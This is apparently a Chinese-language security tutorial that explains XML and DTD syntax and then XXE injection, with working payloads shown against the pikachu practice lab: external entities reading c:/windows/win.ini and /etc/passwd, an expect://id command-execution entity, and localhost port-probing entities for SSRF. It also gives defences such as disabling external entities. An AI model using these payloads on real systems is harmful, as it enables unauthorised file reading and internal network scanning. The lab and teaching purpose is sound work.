一.XML(Extensible Markup Language,可扩展标记语言)
1.XML被用来传输与储存数据的,HTML用来显示数据的。
2.XML演示
<?xml version="1.0" encoding="UTF-8"?>
//version 包含XML的版本 ; encoding 包含字符编码
//UTF-8 也是 HTML5, CSS, JavaScript, PHP, 和 SQL 的默认编码
XML 必须包含根元素,它是所有其他元素的父元素
<?xml version="1.0" encoding="UTF-8"?>
<note> //根元素
<to>Tove</to> //子元素
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
3.XML 标签对大小写敏感
4.XML 中的注释
<!-- 注释 -->
5.命名规则
- 名称可以包含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不能以字母 xml(或者 XML、Xml 等等)开始
- 名称不能包含空格
6.XML实体转化文档
实体引用 | 字符 |
---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
二.DTD(文档类型定义)
1.DTD是用来定义XML文档的合法构建模块,DTD可以声明在XML文档中,也可以作为一个外部引用。
2.XML文档内部引用(XML文档内部语法 : <!DOCTYPE root-element (根元素) [element-declarations (元素声明)]>)
<?xml version="1.0"?> //不屑默认UTF-8
<!DOCTYPE note [ //定义此文档是 note 类型的文档
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型
<!ELEMENT heading (#PCDATA)> //定义 heading 元素为 "#PCDATA" 类型
<!ELEMENT body (#PCDATA)> //定义 boy 元素为 "#PCDATA" 类型
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
3.外部引用(XML文档内部语法 : <!DOCTYPE root-element SYSTEM "filename(路径)">)
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "FILE.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
FILE.dtd 文件中
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
4.DTD的优点
A.通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
B.通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
C.而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
D.您还可以使用 DTD 来验证您自身的数据。
5.数据类型
(1)PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
(2)CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
写的都是必要的知识点,如果感兴趣学习网址在下面
三.XXE
1.概念:
xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。
2.危害:
XXE漏洞根据有无回显可分为有回显XXE和Blind XXE,具体危害主要有:
a.)检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。
b.)执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;
<!ENTITY xxe SYSTEM "expect://id" >执行命令;
c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。
d.)通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。
具体的攻击手段和场景在案例中说明。
3.挖掘思路
关注可能解析xml格式数据的功能处,较容易发现的是请求包参数包含XML格式数据,不容易发现的是文件上传及数据解析功能处,通过改请求方式、请求头Content-Type等方式进行挖掘,思路一般分三步:
(1)检测XML是否会被成功解析以及是否支持DTD引用外部实体,有回显或者报错;;
(2)需注意没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据
(3)最后可以尝试XInclude,某些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析文档,尝试payload:
<fooxmlns:xi=“http://www.w3.org/2001/XInclude”>
<xi:include parse =“text”href =“file:/// etc / passwd”/> </ foo>
4.漏洞防范
1)禁用外部实体
2)手动黑名单过滤
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
5.pikachu靶场练习
输入带有内部实体的XML代码
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY xxe "汉坎" > ]>
<note>&xxe;</note>
说明网页对于XML是有回显的
c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<note>&xxe;</note>
这样无论你想知道什么文件内容都可知道了(注意路径只能是绝对路径,不能是相对路径)
XML还可以爆破端口
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:79" > ]>
<foo>&xxe;</foo>
可以明显的看到第一个更快,原因是第一个端口是开放的
6.最后
XML主要的漏洞是XXE,但和它相关的漏洞不止这一个,比如:
1) XEE:XML Entity Expansion,主要试图通过消耗目标程序的服务器环境来进行DOS攻击;
2) XSLT:可扩展样式表转换漏洞,XSLT是XML的推荐样式表语言;
3) XPath注入漏洞,XPath用于浏览XML文档中的元素和属性,XSLT使用XPath来查找XML文档中的信息。